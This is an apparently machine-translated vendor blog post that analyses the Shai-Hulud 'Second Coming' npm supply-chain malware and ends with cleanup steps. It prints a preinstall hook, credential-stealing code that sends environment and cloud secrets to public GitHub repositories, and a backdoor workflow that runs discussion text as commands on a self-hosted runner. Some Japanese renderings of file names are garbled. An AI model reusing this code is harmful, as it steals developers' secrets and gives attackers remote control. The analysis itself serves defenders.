Exaforce Blog Author Image – Bleon Proko
リサーチ
November 24, 2025

やわらかく濁ったパンを虫に食べさせる:シャイ・フルドの再臨

Shai-Huludマルウェアの新しい亜種、認証情報の盗難手法、最新の開発パイプラインを狙ったGitHub Actionsの不正使用について詳しく説明します。

2025年11月24日、合気道セキュリティは以下をリリースしました 記事 現在、Shai-Huludと呼ばれている脅威アクターからの悪意のあるパッケージの新しいバッチについて。悪意のあるコードは、そのコードが存在するローカルホストから認証情報を収集しようとします。次に、マルウェアはその認証情報を使用して、ユーザーの認証情報マネージャーから他の認証情報を収集しようとします。すべての出力は一般に公開されます。 GitHub リポジトリーと、都合よく説明してくれた」Sha1-フルド: ザの 二番目 来る。」

最初に判明したターゲットはZapierで、ENS、AsyncAPI、PostHog、Postman、その他のベンダーが後に確認されました。の引用によると、全体で492のパッケージが侵害され、月間ダウンロード数は合計で1億3,200万回にのぼります。 合気道

マルウェア初期化

マルウェアはライブラリのリポジトリの2つの部分に取り込まれます。最初の部分はマルウェアのローダーで、内部に保存されていました。 setup_bun.js。この悪質なコードは、ライブラリが読み込まれて実行されるときに読み込まれます。 bun_environment.js、実際の悪意のあるコードを含む非常に難読化されたスクリプト。

悪意のあるスクリプトがライブラリに取り込まれるように、インストール前のスクリプトとしてpackage.jsonファイルに含まれていました。そうすれば、ライブラリに何か問題が発生する前に、悪質なコードが実行されてしまいます。

{
  "name": "asyncapi-utility",
  "version": "1.0.0",
  "bin": { "asyncapi-utility": "setup_bun.js" },
  "scripts": {
    "preinstall": "node setup_bun.js"
  },
  "license": "MIT"
}

マルウェアが使用しているようです パン 悪質なコードを実行するため、 _パン JS スクリプトの接尾辞。 setup_bun.js bun がインストールされているかどうかを確認し、インストールされていない場合は、で提供されているインストールスクリプトを使用してツールをインストールします bun.sh

let bunExecutable;

  if (isBunOnPath()) {
    // Use bun from PATH
    bunExecutable = 'bun';
  } else {
    // Check if we have a locally downloaded bun
    const localBunDir = path.join(__dirname, 'bun-dist');
    const possiblePaths = [
      path.join(localBunDir, 'bun', 'bun'),
      path.join(localBunDir, 'bun', 'bun.exe'),
      path.join(localBunDir, 'bun.exe'),
      path.join(localBunDir, 'bun')
    ];

    const existingBun = possiblePaths.find(p => fs.existsSync(p));

    if (existingBun) {
      bunExecutable = existingBun;
    } else {
      // Download and setup bun
      bunExecutable = await downloadAndSetupBun();
    }
  }

すると、お団子が走ります bun_environment.jsこれにより、すべての悪質なタスクが実行されます。

const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
  }

ザ・バッド・バン

bun_environment.js は、ほぼ10MBのJSコードを含む非常に大きなファイルです。このコードは非常に難読化されており、変数や関数名などのコード要素の名前が HEX 値に変更されているようです。このコードには、オブジェクトの名前を HEX から人間が読める形式に変換する関数もあります (ファンクション a0_0x4cc3)。

var stringLookup = decodeString;

function decodeString(index) { // function a0_0x4cc3
    var arr = stringArrayGenerator();
    decodeString = function(idx) {
        idx = idx - 0x0;
        var value = arr[idx];
        return value;
    };
    return decodeString(index);
}

この関数は文字列の配列を経由します _0x259634 関数内 a0_0x1bc8には、指定された HEX 値の値が文字列で格納されます。その値には、流出リポジトリの説明 'も含まれています。シャ1-フルド:再臨.'

function a0_0x1bc8() {
    var _0x259634 = ['res', 'wXWSe', 'mVuzm', 'sendRequest', 'decorate', 'WPqdu', 'createRepo', 'CZnOV', 'RcRqY', 'shrNonce', 'xgbhH', 'oneofDecl', '\\'. Acceptable values: ', 'undeleteFolder response %j', 'mAamk', 
--snip--
'GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions', 'decimalPlaces', '{region}', 'getMaxAttempts', 'Visual Studio Code Authentication is not available. Ensure you have have Azure Resources Extension installed in VS Code, signed into Azure via VS Code, installed the @azure/identity-vscode package, and properly configured the extension.', 'DELETE /orgs/{org}/packages/{package_type}/{package_name}', 'UrEnN', 'KHPKr', 'ETSpv', 'Sha1-Hulud: The Second Coming.', 'MSsLt', 'China (Beijing)', 'ovSfH', 'icKRM', 'pickSubchannel', 'Cancelled by parent call'];
    a0_0x1bc8 = function () {
        return _0x259634;
    }

この関数を使用すると、スクリプトで難読化された文字列を解決できます。

a0_0x4cc3(0x2840) → "secretmanager.googleapis.com/Secret"
a0_0x4cc3(0xe8d)  → "<https://www.googleapis.com/auth/cloud-platform>"

コードの最後の部分はコードのメイン関数として機能します。まず、コードが CI/CD 環境で実行されているかどうかを検出し、それに応じてタスクを実行します。

async function jy1() {
    var _0x6211fe = a0_0x3f79ba;
    if (process['env']['CI'] || process['env']['CONTINUOUS_INTEGRATION'] || process['env']['GITHUB_ACTIONS'] || process['env']['GITLAB_CI'] || process['env']['CIRCLECI'])
        await aL0();
    else {
        if (process['env']['POSTINSTALL_BG'] !== '1') {
            if (_0x6211fe(0x4e2e) !== _0x6211fe(0x4e2e))
                return this['_gaxGrpc']['createStub']('service', _0xb9a24b), [_0x1307f5, _0x3e04b8, _0x47daff];
            else {
                let _0x4ff1f9 = process['execPath'];
                if (process['argv'][0x1]) {
                    if (_0x6211fe(0x492f) !== _0x6211fe(0x492f)) {
                        if (_0x5c2e2c(_0x310c70, 0x0, _0x2f8dbd), _0x44df93 == null)
                            _0x1beb91 = _0x2f466f;
                        else
                            _0x5dd733(_0x2a58f0, 0x0, 0x8);
                        return _0x12b958(new _0x76e273(_0x17bc6d), _0x413db1 + _0x4d0423['e'] + 0x1, _0x2a4ded);
                    } else {
                        Bun['spawn']([_0x4ff1f9, process['argv'][0x1]], {
                            'env': {
                                ...process['env'],
                                'POSTINSTALL_BG': '1'
                            }
                        })['unref']();
                        return;
                    }
                }
            }
        }
        try {
            await aL0();
        } catch (_0x5d9066) {
            process['exit'](0x0);
        }
    }
}

jy1()['catch'](_0x479bd => {
    process['exit'](0x0);
});
  • JSON で定義されているシークレットマネージャーの認証情報を盗む _0x4b3fc6
  • 環境変数から認証情報を盗む
async function aL0()
  let environmentData = {
    environment: process.env
  };
  
  // System information with hostname and user
  let systemData = {
    system: {
      platform: systemInfo.platform,
      architecture: systemInfo.architecture,
      platformDetailed: systemInfo.platformRaw,
      architectureDetailed: systemInfo.archRaw,
      hostname: os.hostname(),
      os_user: os.userInfo()
    },
    modules: {
      github: {
        authenticated: github.isAuthenticated(),
        token: github.getToken(),
        username: username
      }
    }
  };
  
  // Upload to GitHub
  let saveEnv = github.saveContents(
    'environment.json', 
    JSON.stringify(environmentData), 
    'Add file'
  );
}
  • TruffleHogをダウンロードして侵害されたマシンで実行すると、保存されている認証情報が見つかります。
async ['getLatestRelease']() {
    var _0x3e5310 = a0_0x3f79ba;
    let _0x2b4de5 = await fetch('<https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest>');
    if (!_0x2b4de5['ok'])
        throw Error('Failed\\x20to\\x20fetch\\x20latest\\x20release:\\x20' + _0x2b4de5['status']);
    return _0x2b4de5['json']();
}

['selectAsset'](_0x285891) {
    var _0x167fde = a0_0x3f79ba;
    let _0x393e83 = a0_0x44bdb7(),
        _0x451906 = this['normalizeArch'](a0_0x51195d()),
        _0x4797e8 = [];
    
    if (_0x393e83 === 'win32')
        _0x451906['forEach'](_0x40c564 => _0x4797e8['push'](_0x40c564 + '.exe')),
        _0x4797e8['push']('.exe', 'windows');
    else {
        if (_0x393e83 === 'darwin')
            _0x451906['forEach'](_0x1b7a2d => _0x4797e8['push'](_0x1b7a2d + '.darwin', _0x1b7a2d + '.macos')),
            _0x4797e8['push']('darwin', 'macos');
        else
            _0x451906['forEach'](_0x299ce6 => _0x4797e8['push'](_0x299ce6 + '.linux')),
            _0x4797e8['push']('linux');
    }
    
    for (let _0x48b273 of _0x4797e8) {
        let _0x56c72a = _0x285891['find'](_0x3ce643 => _0x3ce643['name']['toLowerCase']()['includes'](_0x48b273['toLowerCase']()));
        if (_0x56c72a)
            return _0x56c72a;
    }
    
    return _0x285891['find'](_0x130168 => _0x130168['name']['toLowerCase']()['includes']('trufflehog')) ?? null;
}

['normalizeArch'](_0x5352e1) {
    var _0x3bc23e = a0_0x3f79ba;
    if (_0x5352e1 === 'x64')
        return ['amd64', 'x86_64', 'x64'];
    if (_0x5352e1 === 'arm64')
        return ['arm64', 'aarch64'];
    return [_0x5352e1];
}

async ['downloadFile'](_0x47dec5, _0x2dc003) {
    var _0x1de01c = a0_0x3f79ba;
    let _0x108997 = await fetch(_0x47dec5);
    if (!_0x108997['ok'])
        throw Error('Failed\\x20to\\x20download:\\x20' + _0x108997['status']);
    let _0x5c8e9f = a0_0x5a8722(_0x2dc003);
    if (_0x108997['body'])
        await qy1(_0x108997['body'], _0x5c8e9f);
    else
        throw Error('Response\\x20body\\x20is\\x20null');
}

async ['extractArchive'](_0x562e2f) {
    var _0x2066b4 = a0_0x3f79ba;
    let _0x5859a7 = a0_0x1acdee(_0x562e2f)['toLowerCase'](),
        _0x16ec5a = a0_0x53fe15(this['config']['cacheDir'], 'extract');
    
    if (await a0_0x2cc727['mkdir'](_0x16ec5a, {'recursive': !0x0}),
    _0x5859a7['endsWith']('.zip'))
        await this['runCommand']('unzip', ['-o', _0x562e2f, '-d', _0x16ec5a]);
    else {
        if (_0x5859a7['endsWith']('.tar.gz') || _0x5859a7['endsWith']('.tgz'))
            await this['runCommand']('tar', ['-xzf', _0x562e2f, '-C', _0x16ec5a]);
        else {
            let _0x8ab364 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
                _0x5f035f = a0_0x53fe15(this['config']['cacheDir'], _0x8ab364);
            return await a0_0x2cc727['copyFile'](_0x562e2f, _0x5f035f),
            await a0_0x2cc727['chmod'](_0x5f035f, 0x1ed),
            _0x5f035f;
        }
    }
    
    let _0x186a54 = (await a0_0x2cc727['readdir'](_0x16ec5a))['find'](_0x411141 => _0x411141['toLowerCase']()['includes']('trufflehog'));
    if (!_0x186a54)
        throw Error('Could\\x20not\\x20find\\x20trufflehog\\x20binary');
    
    let _0x17ab93 = a0_0x53fe15(_0x16ec5a, _0x186a54),
        _0x1c4771 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
        _0x2720b9 = a0_0x53fe15(this['config']['cacheDir'], _0x1c4771);
    
    return await a0_0x2cc727['copyFile'](_0x17ab93, _0x2720b9),
    await a0_0x2cc727['chmod'](_0x2720b9, 0x1ed),
    await a0_0x2cc727['rm'](_0x16ec5a, {'recursive': !0x0}),
    _0x2720b9;
}

async ['runCommand'](_0x54eac0, _0x5d80b3) {
    var _0x5a61c9 = a0_0x3f79ba;
    let _0x3ebe81 = Bun['spawn']([_0x54eac0, ..._0x5d80b3], {
        'stdout': 'pipe',
        'stderr': 'pipe'
    });
    if (await _0x3ebe81['exited'],
    _0x3ebe81['exitCode'] !== 0x0)
        throw Error('Command\\x20failed:\\x20' + _0x54eac0 + '\\x20' + _0x5d80b3['join']('\\x20') + '\\x20(exit\\x20code:\\x20' + _0x3ebe81['exitCode'] + ')');
}
  • GitHub Actions アーティファクトを検索し、results.json ファイルにダンプします。
for(let _0x18af5b of _0x1f9277)try{let _0x33db57='<https://api.github.com/repos/'+_0x159ad4+'/'+_0x159bba+_0x2ea697(0x173e)+_0x18af5b['id>']+_0x2ea697(0x3f5d),_0x2f4d22=(await a0_0x25a52d(_0x33db57,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x2856),'Authorization':_0x2ea697(0x2e5b)+this[_0x2ea697(0x1f1c)]},'redirect':_0x2ea697(0x274a)}))[_0x2ea697(0x3a9a)]['get']('location');if(!_0x2f4d22)continue;let _0x11129d=await a0_0x25a52d(_0x2f4d22,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x3352)}});if(!_0x11129d['ok'])continue;let _0x4eb62f=await _0x11129d['arrayBuffer'](),_0x48955e=Buffer[_0x2ea697(0x3319)](new Uint8Array(_0x4eb62f)),_0x30b148=new tG0[(_0x2ea697(0x127e))](_0x48955e)[_0x2ea697(0x166f)](_0x2ea697(0x2c8b));if(!_0x30b148)continue;let _0x9becf=_0x30b148[_0x2ea697(0x2efd)](),_0x26502f=JSON[_0x2ea697(0x301b)](_0x9becf[_0x2ea697(0x4b2e)](_0x2ea697(0x348)));try{await this[_0x2ea697(0x1868)][_0x2ea697(0x12cd)](_0x2ea697(0x5951),{'owner':_0x159ad4,'repo':_0x159bba,'run_id':_0x15f9e1});}catch{}yield _0x26502f;}catch{if('SKGRz'!==_0x2ea697(0x30a2))continue;else{let _0x4aaf14=_0x59d5f1[_0x2ea697(0xab7)](),_0x44f257=_0xf1d905===_0x4aaf14?_0x1093f4:_0x4aaf14+'.'+_0x4c0238;if(_0x168ecf[_0x2ea697(0x5dfb)]['hasOwnProperty'][_0x2ea697(0x5faa)](_0x5ee97c,_0x44f257))return _0x1a441b[_0x44f257];else{for(let [_0x3833c7,_0xd40069]of _0x651923[_0x2ea697(0x33e4)](_0x2b92ed))if(_0x3833c7[_0x2ea697(0x4561)](_0x4aaf14+'.')&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0x1eb)]===_0x4aaf14&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0xfe6)])_0x1b3f34[_0x2ea697(0x2fc7)](_0xd40069[_0x2ea697(0x2d3c)]['className']);}}}break;}try{await this[_0x2ea697(0x1868)]['request'](_0x2ea697(0xb26),{'owner':_0x159ad4,'repo':_0x159bba,'branch':_0x5264a1});}catch(_0x48c1fc){if(_0x2ea697(0x5c33)===_0x2ea697(0x4f34)){if(this[_0x2ea697(0x4966)]()){for(let [_0x87c96b,_0x3b8a8d]of this[_0x2ea697(0x511)]())if(_0x3b8a8d[_0x2ea697(0x2680)]()&&_0x3b8a8d[_0x2ea697(0x4966)]())return _0x87c96b;}return'';}else console[_0x2ea697(0x4a26)](_0x2ea697(0x118c));}}catch(_0x8f6173){if('ccFxu'===_0x2ea697(0x4d77)){console[_0x2ea697(0x4a26)](_0x2ea697(0x2fa4));continue;}else return this[_0x2ea697(0x48d4)](_0x5b088a,_0x244b9f)[_0x2ea697(0x36dc)]();}}}
  • AWS、Azure、GCP の認証情報をダウンロードしてください。
_0xa50f9e = {
    'aws': {
        'secrets': await _0x511a7b['getSecrets']()
    },
    'gcp': {
        'secrets': await _0x2efcec['getSecrets']()
    },
    'azure': {
        'secrets': await _0x390843['getSecrets']()
    }
},
_0x5801a8 = {
    'environment': process['env']
},
_0x1c3489 = _0x43e355['saveContents']('environment.json', JSON['stringify'](_0x5801a8), 'Add\\x20file'),
_0x383025 = _0x43e355['saveContents']('cloudSecrets.json', JSON['stringify'](_0xa50f9e), 'Add\\x20file'),
_0x443533 = _0x43e355['saveContents']('systemInfo.json', JSON['stringify'](_0x594cb1), 'Add\\x20file'),
_0x5a8131 = await El(_0x587238);
  • 後で保存されるシステム情報を取得する システム情報.JSON
function $y1() {
    var _0x4416fa = a0_0x3f79ba;
    let _0x45a0cb = a0_0x5baa9a['platform'](),
        _0x118ebf = a0_0x5baa9a['arch'](),
        _0x2d7e77;
    
    if (_0x45a0cb === 'win32')
        _0x2d7e77 = 'windows';
    else {
        if (_0x45a0cb === 'linux')
            _0x2d7e77 = 'linux';
        else {
            if (_0x45a0cb === 'darwin')
                _0x2d7e77 = 'darwin';
            else
                _0x2d7e77 = 'linux';
        }
    }
    
    let _0x3ad966;
    if (_0x118ebf === 'ia32')
        _0x3ad966 = 'x86';
    else {
        if (_0x118ebf === 'x64')
            _0x3ad966 = 'x64';
        else {
            if (_0x118ebf === 'arm')
                _0x3ad966 = 'arm';
            else {
                if (_0x118ebf === 'arm64')
                    _0x3ad966 = 'arm64';
                else
                    _0x3ad966 = 'x64';
            }
        }
    }
    
    return {
        'platform': _0x2d7e77,
        'architecture': _0x3ad966,
        'platformRaw': _0x45a0cb,
        'archRaw': _0x118ebf
    };
}
let saveSystem = github.saveContents(
    'systemInfo.json', 
    JSON.stringify(systemData), 
    'Add file'
  );

要求されたすべてのデータは、次のファイルに保存されます。

  • クラウド・ジェイソン: クラウドプロバイダーの認証情報 (AWS、Azure、GCP)
  • contents.json リポジトリコンテンツとソースコード
  • environment.json 環境変数とシステム情報
  • トリュフセクレッツ.JSON TruffleHogスキャナーによって検出されたシークレット
  • アクションシークレット.JSON GitHub アクションのシークレット
  • results.json GitHub アーティファクト
  • システム情報.JSON 現在のシステムに関する情報

この (GitHub) アクションについて議論しています

脅威アクターが最後に追加しているマルウェアは、悪意のある GitHub Action です。このアクションは、ディスカッションが作成されるとすぐにターゲットのマシンでコマンドを実行します。そのマルウェアは、discussion.yaml というファイルに保存されています。GitHub Actions による直接変数補間の管理方法により、データが run フィールド内に提供されている場合、ここで説明するように、そのデータはコマンドとみなされます。 記事

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

攻撃者が行う必要があるのは、実行したい悪意のあるコマンドを含むGitHubディスカッションをリポジトリ上に作成することです。そうすれば、侵害されたマシンで実行されます。アクションにはフィールドが含まれているからです。 ランズオン:セルフホスト、コマンドはライブラリがインストールされているマシンで実行されます。

悪意のある GitHub Action を介して侵害されたマシンを管理できるようにするため、スクリプトは被害者のマシンに GitHub Actions ランナーを次のような名前でダウンロードして設定します。 SHA1 HULUD マシンの OS に基づいて定義されたパス上にあります。このアクションランナーは Discussion GitHub アクションを実行し、侵害されたターゲットを管理します。

  • リナックス: $ホーム/.dev-env/
  • ウィンドウズ: %ユーザープロファイル%\\ .dev-env\\
  • MacOS: $ホーム/.dev-env/
async [a0_0x3f79ba(0x6048)](repoName, description = a0_0x3f79ba(0x603b), isPrivate = !0x1) {
    var str = a0_0x3f79ba;
    
    if (!repoName) return null;
    
    try {
        let repoData = (await this['octokit'][str(0x3819)][str(0x6f9)][str(0x212c)]({
            'name': repoName,
            'description': description,
            'private': isPrivate,
            'auto_init': !0x1,
            'has_issues': !0x1,
            'has_discussions': !0x0,
            'has_projects': !0x1,
            'has_wiki': !0x1
        }))[str(0x4dc2)],
        ownerLogin = repoData[str(0x1904)]?.[str(0x4a12)],
        repoNameResponse = repoData[str(0x71b)];
        
        if (!ownerLogin || !repoNameResponse) return null;

if (tokenResponse[str(0x3d2a)] == 0xc9) {
  if (str(0x4a29) === str(0x4a29)) {
      let registrationToken = tokenResponse['data'][str(0x1f1c)];
      
      if (a0_0x2d6a77[str(0x21b8)]() === str(0xdc7))
          await Bun['$']`mkdir -p $HOME/.dev-env/`,
          await Bun['$']`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)]>(a0_0x2d6a77['homedir'] + str(0x2d3))['quiet'](),
          await Bun['$']`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          await Bun['$']`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3))[str(0x5f38)](),
          await Bun['$']`rm actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          Bun[str(0x3ae4)]([str(0x2438), '-c', str(0x4e5e)])[str(0x5366)]();
      else {
          if (a0_0x2d6a77[str(0x21b8)]() === str(0x5691))
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip> -OutFile actions-runner-win-x64-2.330.0.zip"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\\"actions-runner-win-x64-2.330.0.zip\\", \\".\\")"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`./config.cmd --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77['homedir']())[str(0x5f38)](),
              Bun[str(0x3ae4)](['powershell', '-ExecutionPolicy', str(0x13cb), str(0x4378), str(0x1687)], {
                  'cwd': a0_0x2d6a77[str(0x300b)]()
              })[str(0x5366)]();
          else {
              if (a0_0x2d6a77['platform']() === str(0x2354))
                  await Bun['$']`mkdir -p $HOME/.dev-env/`,
                  await Bun['$']`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)>] + str(0x2d3))['quiet'](),
                  await Bun['$']`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
                  await Bun['$']`./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`['cwd'](a0_0x2d6a77['homedir'] + str(0x2d3))[str(0x5f38)](),
                  await Bun['$']`rm actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77['homedir'] + str(0x2d3)),
                  Bun[str(0x3ae4)](['bash', '-c', 'cd\\x20$HOME/.dev-env\\x20&&\\x20nohup\\x20./run.sh\\x20&'])[str(0x5366)]();
          }
      }
      await this[str(0x1868)]['request'](str(0x51d6), {
          'owner': ownerLogin,
          'repo': repoNameResponse,
          'path': str(0x288),
          'message': 'Add\\x20Discusion',
          'content': Buffer[str(0x3319)](rZ1)['toString'](str(0x2a35)),
          'branch': 'main'
      });
  } else {
      this['state'] = str(0x5be6),
      callback(!0x1);
      return;
  }
}

データ漏洩

すべての情報が取得されると、マルウェアはリポジトリを作成します

function tL0() {
  return Array.from({length: 18}, () => 
    Math.random().toString(36).substring(2, 3)
  ).join('');
}

if(github.isAuthenticated()) {
  await github.createRepo(tL0()); 
}

現在、このスクリプトによって侵害された認証情報を使用して作成されたリポジトリは23,000以上あり、常に新しいリポジトリが出現しています。

攻撃を軽減するための次のステップ

侵害を受けたライブラリの所有者は、悪意のあるバージョンとリリースを削除し、悪意のあるライブラリの削除を推奨しています。また、マルウェアの痕跡がないか、暴露された可能性のあるマシンを検索することもお勧めします。

  • setup_bun.js
  • bun_environment.js
  • クラウド・ジェイソン
  • contents.json
  • environment.json
  • トリュフセクレッツ.JSON
  • ディスカッション.yaml
  • フォーマッター_*.yml

インストールされている可能性のある悪質なライブラリと、それらを含むpackage.jsonファイルを検索し、次のバージョンを削除します。

grep -r "setup_bun.js" node_modules/*/package.json
grep -r "bun_environment.js" node_modules/*/package.json

npm list --depth=0

# *nix machines
rm -rf node_modules
rm -rf package-lock.json  # or yarn.lock
rm -rf ~/.npm  # Clear npm cache

# Windows Machines
rd /s /q node_modules
del package-lock.json

npm cache clean --force

システム上のあらゆる場所で、任意の SHA1HULUD 値または.dev-env (GitHub アクションディレクトリ) を含むすべてのものを検索してください。

# *nix machines
find / -name "*SHA1HULUD*" 2>/dev/null
find / -name "run.sh" -path "*actions-runner*" 2>/dev/null

rm -rf $HOME/.dev-env/

# Windows Machines
Remove-Item -Recurse -Force $env:USERPROFILE\\.dev-env
Remove-Item -Recurse -Force $env:USERPROFILE\\actions-runner
Get-ChildItem -Path C:\\ -Recurse -Filter "*SHA1HULUD*" -ErrorAction SilentlyContinue | Remove-Item -Force

マルウェアに関連していると思われるプロセスはすべて停止し、調査する必要があります。

# *nix machines
ps aux | grep -i runner
ps aux | grep -i sha1hulud
sudo pkill -9 -f "run.sh"
sudo pkill -9 -f "Runner.Listener"
sudo pkill -9 -f "SHA1HULUD"

# Windows Machines
Get-Process | Where-Object {$_.ProcessName -like "*runner*"} | Stop-Process -Force
Get-Process | Where-Object {$_.ProcessName -like "*SHA1HULUD*"} | Stop-Process -Force
taskkill /IM Runner.Listener.exe /F
taskkill /IM Runner.Worker.exe /F

AWS、Azure、GCP、GitHub PAT のすべての認証情報をリセットし、これまでに持っている認証情報から実行されたアクションを監視します。また、「」という説明を含むリポジトリをオンラインで検索することをおすすめします。シャ1-フルド:再臨.」には、認証情報が含まれている場合があります。

エクサフォースなら安心です

Exaforceは、Shai-HuludやShai-Huludなどのサプライチェーン攻撃をエンドツーエンドで可視化し、検出します。 以前のNPM妥協案。SBOM を GitHub から直接取り込むことで、Exaforce はお客様の環境全体で悪意のあるパッケージバージョンや予期しないパッケージバージョンを特定できます。お客様はこれらをデータエクスプローラーで視覚的に確認したり、Exabot Searchを利用して自然言語で要求したりできます。

Exabot Searchは侵害されたパッケージを発見しませんでした

Exaforce は、あまりにも新しく、まだ必要な審査期間を経ていないパッケージなど、依存関係のリスクを先制的に報告することもできます。これにより、信頼できないバージョンがアプリケーションに追加されるのを防ぐことができます。また、Exaforce は既知の悪質なパッケージバージョンを特定して、攻撃対象になる前に削除できるようにしています。

新しすぎるパッケージや既知の悪質なパッケージを探すプリエンプティブセキュリティ

Exaforceは、疑わしいファイル、異常なGitHubアクションの作成、資格情報の悪用の兆候など、GitHubアクションの異常なワークフロー動作も監視しています。盗まれたシークレットがお客様の環境に対して悪用された場合、当社の異常検出エンジンは、不正な認証やリポジトリアクティビティをリアルタイムで特定します。

完全に検索可能なワークフローのインベントリ

このマルウェアが出現すると、ExaforceのMDRチームは直ちに、影響を受けたパッケージ、悪意のある GitHub Actions、および顧客データの公開リポジトリがないか、すべての顧客環境を確認しました。何人かの顧客が影響を受けたパッケージについて言及していましたが、いずれも侵害を避けるため安全なバージョンに絞られていました。

結論

最近、悪意のあるパッケージが脅威アクターに好まれている手法のようです。これは主に、そのワームのような振る舞い、大量のダウンロード、および開発者がそれらのライブラリに信頼を置いているためです。そのため、ライブラリは監視する必要があり、危険な侵害方法である可能性があるため、各ライブラリを脅威と見なす必要があります。

この攻撃があなたを標的にしていないこと、または現在攻撃が制御されていることを期待して、潜在的な侵害がないか環境とエンドポイントを監視することをお勧めします。

最近の投稿

初めての AWS re: Invent での廊下からの教訓

エージェント AI セキュリティによる高度な Google Workspace 侵入の検出と妨害

AI SocとAnthropicの愛というスポーツの祭日大会

丸太の指輪は嘘をつかない:一目瞭然の歴史的列挙

セキュリティ検出の過去、現在、未来

Exaforce HITRUST award

私たちはHITRUST認定を受けています:クラウドネイティブなSOC自動化全体にわたる信頼の強化

Exaforce Blog Featured Image

GPTはセキュリティのために再配線する必要がある

Exaforce Blog Featured Image

アグリゲーションの再定義:ノイズの削減、コンテキストの強化

Exaforce Blog Featured Image

エクサフォースが2025年のAWSジェネレーティブAIアクセラレーターへの参加に選ばれました

Exaforce Blog Featured Image

コントロールできていると感じますか?攻撃ツールとしての AWS クラウドコントロール API の分析

Exaforce Blog Featured Image

Exaforceは、2025年のSecOpsオートメーション向けGigaOMレーダーでリーダーおよびアウトパフォーマーに選ばれました

Exaforce Blog Featured Image

エージェント AI が GuardDuty インシデント対応プレイブックの実行を簡素化する方法

Exaforce Blog Featured Image

パッケージにヘビが入ってる!攻撃者はどのようにしてコードからコインへと移行しているのか

Exaforce Blog Featured Image

ゴースト・イン・ザ・スクリプト:Google App Script プロジェクトになりすましてステルスパーシスタンスを行う

Exaforce Blog Featured Image

ExaforceがマルチモデルAIを活用して、お客様の環境でアカウント乗っ取り攻撃を検出した方法

Exaforce Blog Featured Image

s1ngularityサプライチェーン攻撃:何が起こったのか、そしてExaforceがどのように顧客を保護したのか

Exaforce Blog Featured Image

Exaforce MDR のご紹介:人工知能 (AI) 上で動作するマネージドSOC

Exaforce Blog Featured Image

Exaforceに会いましょう:フルライフサイクルのAI SOCプラットフォーム

Exaforce Blog Featured Image

Exaforceでの信頼構築:セキュリティとコンプライアンスを通じた当社の歩み

Exaforce Blog Featured Image

より多くのシグナルとより少ないノイズによる壊れたアラートトリアージプロセスの修正

Exaforce Blog Featured Image

御社の AI SOC イニシアティブを評価してください

Exaforce Blog Featured Image

一社の合同会社が AI SOC を作るわけではありません

Exaforce Blog Featured Image

適切な検出:脅威の検出には、ルールや異常検出だけでは不十分です

Exaforce Blog Featured Image

KiranaProの侵害:クラウド脅威監視への警鐘を鳴らす

Exaforce Blog Featured Image

RSACでのエージェントAIの会話には3つのポイントが欠けている

Exaforce Blog Featured Image

セキュリティ調査が失敗する5つの理由と、Exaforceがそれらを修正する方法

Exaforce Blog Featured Image

クラウドセキュリティギャップの解消:脅威監視の実際のユースケース

Exaforce Blog Featured Image

SOCの再構築:人間 + AI ボット = より優れた、より速く、より安価なセキュリティと運用

Exaforce Blog Featured Image

Github アクション (tj-アクション/変更ファイル) の侵害からの保護

Exaforce Blog Featured Image

Npm Provenance: JavaScript ライブラリに欠けているセキュリティレイヤーの橋渡し

Exaforce Blog Featured Image

ロッティファイルの npm パッケージ侵害に対するエクサフォースの対応

Exaforce がセキュリティ業務の変革にどのように役立つかをご覧ください

Exabots + ヒューマンがあなたのために何ができるか見てみましょう